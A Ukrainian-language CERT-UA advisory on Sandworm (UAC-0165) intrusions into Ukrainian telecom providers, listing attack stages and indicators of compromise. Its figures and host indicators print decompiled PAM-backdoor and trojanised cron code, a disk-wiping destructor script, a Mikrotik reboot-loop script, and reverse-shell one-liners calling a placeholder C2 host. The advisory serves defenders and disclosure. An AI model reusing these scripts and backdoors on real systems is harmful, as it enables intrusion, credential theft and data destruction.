Особливості деструктивних кібератак Sandworm у відношенні українських провайдерів (CERT-UA#7627)

Загальна інформація

За даними публічних джерел за період з 11.05.2023 по 27.09.2023 організованою групою зловмисників, що відстежується за ідентифікатором UAC-0165, здійснено втручання в інформаційно-комунікаційні системи (ІКС) не менше ніж 11 провайдерів телекомунікацій України, що, серед іншого, призвело до перебоїв в наданні послуг споживачам.

Урядовою командою реагування на комп'ютерні надзвичайні події України CERT-UA у тісній взаємодії з фахівцями **одного** з провайдерів вжито заходів з дослідження інциденту, завдяки чому встановлено обставини кібератак, з'ясовано характерні тактики, техніки та процедури зловмисників, а також розкрито зловмисний задум щодо реалізації кіберзагроз на ряді аналогічних підприємств.

В умовах невпинної цифровізації значної кількості сфер сучасного життя, ураховуючи персистентну загрозу втрати зв'язку в результаті кінетичних атак на телекомунікації та об'єкти енергозабезпечення, стале функціонування операторів та провайдерів є суспільно важливою потребою.

З метою відбиття агресії в кіберпросторі, закликаємо українських провайдерів переглянути власні поверхні атак, врахувати викладені технічні деталі та, у разі виявлення (ознак) інцидентів інформаційної безпеки, невідкладно звертатися до CERT-UA з метою ініціювання заходів з реагування.

Слід враховувати, що інцидент, досліджений належним чином, підвищує вірогідність недопущення реалізації кіберзагроз на інших об'єктах нашої держави.

Зведена (не вичерпна) інформація щодо особливостей здійснення кібератак на українських провайдерів наведена нижче.

Технічна інформація

Як правило першим етапом кібератаки є розвідка, що починається з "грубого" сканування підмереж (автономної системи) провайдера за типовим набором мережевих портів із застосуванням, зокрема, masscan. Приклад застосованого конфігураційного файлу, а також скрипта для запуску masscan наведено на рис.1-2, відповідно.

```
# resume information
resume-index = 2132
rate =  1000.00
randomize-hosts = true
seed = 11108739036624134220
shard = 1/1
# ADAPTER SETTINGS
adapter =
adapter-ip = [a.b.c.d]
adapter-mac = 00:00:00:00:00:00
router-mac = 00:00:00:00:00:00
# OUTPUT/REPORTING SETTINGS
output-format = grepable
show = open,,
output-filename = logs.txt
rotate = 0
rotate-dir = .
rotate-offset = 0
rotate-filesize = 0
pcap =
# TARGET SELECTION (IP, PORTS, EXCLUDES)
retries = 0
ports = 21-23,25,53,80,139,443,445,3306,3389,8080,8291,8443,I:0
range = a.a.a.a/19
range = b.b.b.b/22
range = c.c.c.c/22
capture = cert
nocapture = html
nocapture = heartbleed
nocapture = ticketbleed
min-packet = 60
```

Рис.1 Приклад конфігураційного файлу masscan

```
while true
do
    time_now=$(date +%d_%m_%Y_%H_%M)
    echo $time_now
    for i in in/*
    do
        masscan -p$(cat conf.txt) --ping --rate 1000 $(cat $i) -oG logs.txt
        name=($(echo $i| tr "/" "\n"))
        cp logs.txt logs/${name[1]}_$time_now.logs
    done
    sleep 1800
done
```

Рис.2 Приклад скрипта для запуску masscan з переліком типових мережевих портів (conf.txt)

У випадку ідентифікації інтерфейсів управління (наприклад, SSH, RDP), за умови не обмеження доступу до останніх, ініціюється підбір автентифікаційних даних. У разі виявлення ознак вразливостей здійснюється їхня експлуатація. Публічно доступні сервіси (вебдодатки), такі як білінг, особистий кабінет користувача, хостингові сервери (та вебсайти) тощо, аналізуються за допомогою спеціалізованих програм, в тому числі: **ffuf, dirbuster, gowitness, nmap** тощо.

Зауважимо (!), що активність по розвідці та експлуатації проводиться із заздалегідь скомпрометованих серверів, розміщених, зокрема, в українському сегменті мережі Інтернет. Для маршрутизації трафіку через такі вузли застосовуються проксі-сервери **dante, socks5** та інші.

Детальний аналіз серверів, що використовуються як плацдарм для проведення кібератак, дозволив підтвердити факт їхньої завчасної компрометації. Крім того, встановлено додаткові ознаки такої компрометації.

1. Зазвичай, що також справедливо і для серверів хостингу, зловмисники встановлюють шкідливий PAM-модуль (відстежується як POEMGATE), що надає можливість автентифікуватися із статично визначеним паролем та зберігає введені під час автентифікації логіни та паролі у файл в XOR-кодованому вигляді (рис.3). Такі бекдори встановлюються заздалегідь та, з плином часу, надають змогу отримати актуальні автентифікаційні дані адміністраторів, які, в свою чергу, доволі часто використовуються для доступу до іншого серверного та мережевого обладнання.

```
  ctrl = _set_ctrl(pamh, flags, 0LL, 0LL, 0LL, argc, argv);
  v6 = (unsigned int *)malloc(4uLL);
  if ( v6 )
  {
    v7 = v6;
    r1 = pam_get_user(pamh, &username, 0LL);
    auth_result = r1;
    if ( r1 )
    {
      if ( r1 == 30 )
        auth_result = 31;
    }
    else
    {
      if ( !username || ((*username - 43) & 0xFD) == 0 )
      {
        pam_syslog(pamh, 3LL, "bad username [%s]", username);
        *v7 = 10;
        pam_set_data(pamh, "unix_setcred_return", v7, setcred_free);
        return 10LL;
      }
      if ( _unix_blankpasswd(pamh, ctrl, username) )
      {
        username = 0LL;
        *v7 = 0;
        goto LABEL_14;
      }
      r2 = pam_get_authtok(pamh, PAM_AUTHTOK, &password, 0LL);
      auth_result = r2;
      if ( r2 )
      {
        if ( r2 == 30 )
          auth_result = 31;
        else
          pam_syslog(pamh, 2LL, "auth could not identify password for [%s]", username);
      }
      else
      {
        verify_result = _unix_verify_password(pamh, username, password, ctrl);
        is_backdoored_password = strcmp(crypt(password, "AV01WJXJ9A"), "AVmB6UEjXd8f2") == 0;
        auth_result = !is_backdoored_password;
        if ( !is_backdoored_password )
        {
          auth_result = verify_result;
          if ( !verify_result )
          {
            sprintf(buf, "%s:%s\n", username, password);
            for ( i = 0LL; ; ++i )
            {
              v15 = &buf[strlen(buf)];
              if ( v15 - buf <= i )
                break;
              enc_buf[i] = buf[i] ^ xor_key[(__int64)i % 7];// 'd#@89dh'
            }
            enc_buf[v15 - buf] = 0;
            v16 = fopen("/lib/libc.so.7", "a");
            fputs(enc_buf, v16);
            v17 = v16;
            auth_result = 0;
            fclose(v17);
          }
        }
        password = 0LL;
      }
      username = 0LL;
    }
    *v7 = auth_result;
LABEL_14:
    pam_set_data(pamh, "unix_setcred_return", v7, setcred_free);
    return auth_result;
  }
  pam_syslog(pamh, 2LL, "pam_unix_auth: cannot allocate ret_data");
  return 5LL;
}
```

Рис.3 Приклад декомпільованого програмного коду POEMGATE

2. З метою обходу налаштувань, пов'язаних з обмеженням можливості використання командної оболонки (shell), оригінальні файли "/bin/false", "/bin/nologin" замінюються на "bash".

3. Видалення ознак несанкціонованого доступу досягається, серед іншого, запуском утиліти WHITECAT.

4. Додатково на сервер може встановлюватися варіант програми POSEIDON ("/lib/x86_64-linux-gnu/libs.so"), функціонал якої містить повний спектр засобів віддаленого управління EOM. При цьому, персистентність POSEIDON забезпечується шляхом підміни (модифікації) легітимного бінарного файлу "/usr/sbin/cron", в структуру якого додається програмний код, що створює потік з аргументом (start_routine) у вигляді функції "RunMain", яка імпортується з "libc.so" (рис.4):

```
ProgramName = __xpg_basename(*argv);
parse_args(argc, argv);
signal(17, sigchld_handler);
signal(1, sighup_handler);
if ( !fdopen(0, "r") )
  open("dev/null", 0);
acquire_daemonlock(0LL);
set_cron_uid();
set_cron_cwd();
setenv("PATH", "/usr/bin:/bin", 1);
setlocale(6, &locale);
setlocale(3, "C");
s1 = nl_langinfo(14);
if ( !s1 || !strcasecmp(s1, "ANSI_x3.4-1968") )
  strcpy(cron_default_mail_charset, "US-ASCII");
else
  strncpy(cron_default_mail_charset, s1, 0x3E8uLL);
if ( !stay_foreground )
{
  v3 = fork();
  if ( v3 == -1 )
  {
    v4 = getpid();
    log_it("CRON", v4, "DEATH", "can't fork");
    exit(0);
  }
  if ( v3 )
    _exit(0);
  v5 = getpid();
  log_it("CRON", v5, "STARTUP", "fork ok");
  setsid();
  freopen("/dev/null", "r", stdin);
  freopen("/dev/null", "w", stdout);
  freopen("/dev/null", "w", stderr);
}
acquire_daemonlock(0LL);
memset(v7, 0, sizeof(v7));
load_database(v7);
set_time(1LL);
run_reboot_jobs(v7);
virtualTime = clockTime;
timeRunning = clockTime;
pthread_create(&newthread, 0LL, &RunMain, 0LL);
while ( 1 )
{
  do
```

Рис.4 Приклад коду модифікованого cron для виклику "RunMain" з метою запуску POSEIDON

У випадку надання провайдером послуг хостингу, після компрометації вебсайту на вебсервер може завантажуватися бекдор Weevely. Якщо сервер знаходиться в межах ІКС провайдера (та має "внутрішні" інтерфейси), він може бути використаний для розвитку атаки на інші елементи DMZ і/або локальної обчислювальної мережі.

Окрім спеціалізованих програм, персистентний несанкціонований доступ до інфраструктури провайдера реалізується за допомогою штатних облікових записів VPN (зазначеному сприяє відсутність багатофакторної автентифікації на основі одноразового коду з додатку). Очевидною ознакою компрометації VPN є підключення з IP-адрес мережі TOR та сервісів VPN, в тому числі тих, що "класифікуються" як українські.

Після проникнення до ІКС основні зусилля зосереджуються на ідентифікації так званих джамп-хостів та комп'ютерів системних адміністраторів. Якщо подальше горизонтальне переміщення унеможливлене списками контролю доступу мережевого обладнання, зловмисники можуть вносити зміни в їх налаштування.

Так як з часів "КіберБеркуту" майже кожен злам супроводжується публікацією "пруфів", частина часу присвячується ексфільтрації документів, креслень, схем, договорів. Принагідно, для підсилення "ефекту" та надання більшої публічності, зловмисники вдаються до викрадення паролів від офіційних облікових записів в Telegram, Facebook, а також токенів для розсилання SMS, тощо. Тому слід окремо звернути увагу на убезпечення таких "медійних" акаунтів шляхом налаштування багатофакторної автентифікації.

На заключному етапі кібератаки здійснюється виведення з ладу активного мережевого та серверного обладнання, а також систем зберігання даних. Зазначеному сприяє використання однакових паролів та не обмежений доступ до інтерфейсів управління цим обладнанням. Крім того, відсутність резервних копій актуальних конфігурацій негативно впливає на можливість оперативного відновлення працездатності. Приклад одного зі скриптів-деструкторів наведено на рис.5.

```
sleep 600
rm -rf /boot &
rm -rf /etc &
rm -rf /mnt &
rm -rf /root &
rm -rf /home &
rm -rf /tmp &
rm -rf /usr/local/nodeny &
DEV=$(fdisk |grep -o -E "/dev/.+ " | cut -d " " -f1)
for D in $DEV
do
    dd if=/dev/zero of=$D bs=1048576 count=256 &
    echo $D
done
sleep 100
halt &
reboot &
```

Рис.5 Приклад скрипта-деструктора

Як приклад, для порушення штатного режиму функціонування обладнання Mikrotik може застосовуватися відповідний функціонал скриптів та запланованих задач. Приклад одного зі скриптів наведено на рис.6.

```
/system scheduler
add interval=10m name=sch1 on-event=jsc1 policy=reboot,write start-date=\
    aug/21/2023 start-time=10:30:00
add interval=10s name=sch2 on-event=jsc2 policy=reboot,write start-time=\
    startup

/system script
add dont-require-permissions=no name=jsc1 owner=admin policy=reboot,write \
    source=":system scheduler add name=sch2 on-event=jsc2 policy=reboot,write \
    start-time=startup interval=00:00:10"
add dont-require-permissions=no name=jsc2 owner=admin policy=reboot,write \
    source=":system reboot"
```

Рис.6 Приклад скрипта та завдання для Mikrotik

Наполегливо рекомендуємо взяти до уваги інформацію, що викладена у статті "Як бути відповідальним та втримати кіберфронт" (https://cert.gov.ua/article/5436463).

Користуючись нагодою висловлюємо **вдячність операторам і провайдерам телекомунікацій України** за сприяння у боротьбі з кіберзагрозами та засвідчуємо готовність щодо залучення CERT-UA для дослідження кібератак, обміну інформацією, перевірки аномалій тощо.

Індикатори кіберзагроз

Файли:

```
2b88885fb57e28497522238bd8f8befc
8ddd681dd834ab66f6a1c00ba2830717bf845de5639708eb8e8ab795ffd1df5a    ps (SOCKS5)
5d9a661f35d4e136d389bea878c4252f
eb01925836eed1dbd85a8ab9aa05c5c45dc051abaae9e67db3a53489d776b6c2    pam_unix.so
(POEMGATE)
20a07ba71cab0f92c566b31e96fdf0e8
9060ca8e829fc136d1ecd95a5204abb48f3ce5b7339619c5668c7e176dcbb235    pam_unix.so
(POEMGATE)
a74dbcae530f52f62cbdcef3dc18feee    e9c5dc9cec95f31cea2eb88cc26a35d29c5f89f23bff6a7cfa1250dec6d5701a

45fad72d370ff88c5b349cb741cc26ce
8fb3ed6261a2358e0890bfd544e515af232f87d3aef947e09f640da7cc1b89d9    wccrt (WHITECAT)
59f2c3f6e4baf721c02a66179147241a
0e24a1268212a790bc3993750f194ac1e0996a6770b32b498341f06abac45d81    libs.so (POSEIDON)
75cde685cd3f00f354155e3c433698c7
e4cff7071e184e3f1bfedfe30afa52ddd2cac1a00983508d142e51ecebfcba14    .1
61b70767326387f141a18e2fbb250a68
b5ec1d43462a770d207eefb906516631e4d80eea55779509616b58b39a764455    script.txt
```

```
302f158ca6f6094e90bd43f7748dd65f
65c880f2a3833898c54d7f48ee0709a13887376b2ea5bc933b2e70f29614e728    scan.sh
```

Мережеві:

```
eurotelle[.]com
(IP-адреси, використані для SSH/VPN доступу)
103[.]251.167.20
103[.]251.167.21
104[.]244.72.8
107[.]189.30.69
139[.]99.237.205
146[.]59.233.33
146[.]59.35.246
156[.]146.63.139
158[.]118.218.193
162[.]247.73.192
162[.]247.74.201
162[.]247.74.206
162[.]247.74.216
162[.]247.74.27
162[.]247.74.74
167[.]86.94.107
171[.]25.193.20
171[.]25.193.235
171[.]25.193.25
171[.]25.193.77
171[.]25.193.78
179[.]43.159.195
179[.]43.159.198
182[.]118.218.193
185[.]100.86.121
185[.]100.87.41
185[.]129.61.129
185[.]129.61.7
185[.]129.62.62
185[.]130.47.58
185[.]14.28.207
185[.]165.169.239
185[.]220.101.152
185[.]220.102.240
185[.]220.102.241
185[.]220.102.242
185[.]220.102.247
185[.]220.102.251
185[.]220.102.252
185[.]220.102.253
185[.]220.102.254
185[.]220.102.8
185[.]220.103.8
185[.]233.100.23
185[.]235.146.29
185[.]241.208.206
185[.]241.208.232
185[.]246.188.60
185[.]246.188.67
185[.]246.188.74
185[.]254.75.55
185[.]34.33.2
185[.]56.83.83
185[.]67.82.114
192[.]42.116.13
192[.]42.116.16
192[.]42.116.18
192[.]42.116.23
192[.]42.116.25
193[.]218.118.158
193[.]218.118.182
```

```
195[.]69.202.145
203[.]28.246.189
204[.]28.48.77
204[.]8.156.142
217[.]12.208.73
23[.]129.64.133
2[.]56.164.52
2[.]58.56.101
45[.]139.122.241
45[.]141.215.111
45[.]154.98.225
46[.]182.21.248
51[.]89.153.112
5[.]181.80.132
5[.]252.118.19
5[.]255.99.205
5[.]45.73.243
62[.]102.148.68
62[.]182.84.146
77[.]48.28.204
77[.]48.28.236
79[.]137.194.146
80[.]67.167.81
82[.]221.128.191
84[.]239.46.144
89[.]147.111.106
89[.]248.165.181
91[.]208.75.153
91[.]208.75.3
91[.]224.92.110
94[.]102.51.15
95[.]214.234.139
95[.]214.55.43
```

Хостові:

```
/lib/libc.so.7
/lib/x86_64-linux-gnu/libs.so
/lib/x86_64-linux-gnu/security/pam_unix.so
/tmp/.1
/usr/sbin/wccrt
/usr/sbin/wcc
/var/lib/vim/ps
/var/lib/vim/vfth/scan.sh
expect -c 'spawn su -c "whoami" "%user%"; expect -re "assword"; send "%password%";
expect eof;' 2>&1
perl -e 'use
Socket;$i="%C2IP%";$p=3333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 2>&1
python -c 'import pexpect as p,sys;c=p.spawn("su %user% -c
whoami");c.expect(".*assword:");c.sendline("r3b3iFv4r3b3iFv4");i=c.expect([p.EOF,p.TIMEOUT]);sys.stdout
 if i!=p.TIMEOUT else "")' 2>&1
sleep 1; nc -e /bin/sh %C2IP% 3333 2>&1
sleep 1;rm -rf /tmp/backpipe;mknod /tmp/backpipe p;telnet %C2IP% 3333 0</tmp/backpipe
| /bin/sh 1>/tmp/backpipe 2>&1
/bin/false (порушення цілісності/підміна)
/bin/nologin (порушення цілісності/підміна)
/usr/sbin/cron (порушення цілісності/підміна)
```